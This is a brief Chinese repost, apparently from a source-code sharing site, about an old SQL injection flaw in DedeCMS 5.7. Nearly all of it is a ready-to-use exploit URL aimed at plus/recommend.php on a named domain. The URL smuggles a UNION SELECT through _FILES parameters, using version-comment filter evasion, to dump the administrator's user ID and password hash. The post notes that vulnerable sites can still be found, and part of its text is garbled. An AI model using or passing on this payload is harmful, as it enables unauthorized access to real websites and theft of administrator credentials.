本文由 千趣源码 – qianqu 发布，转载请注明出处，如有问题请联系我们！DedeCMS 20140201 之前的5.7通杀漏洞
【摘5201;】虽然漏洞有点久远了，但有的时候还能遇见...http://www.dyboy.cn/Plus/recommend.PHP?action=&aid=1&_FILES[type][tmp_name]=\'ormid=@`\'`/*!50000union*//*!50000s...
虽然漏洞有点久远了，但有的时候还能遇见...
http://www.dyboy.cn/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=APPlication/octet-stream&_FILES[type][size]=111成功如图：
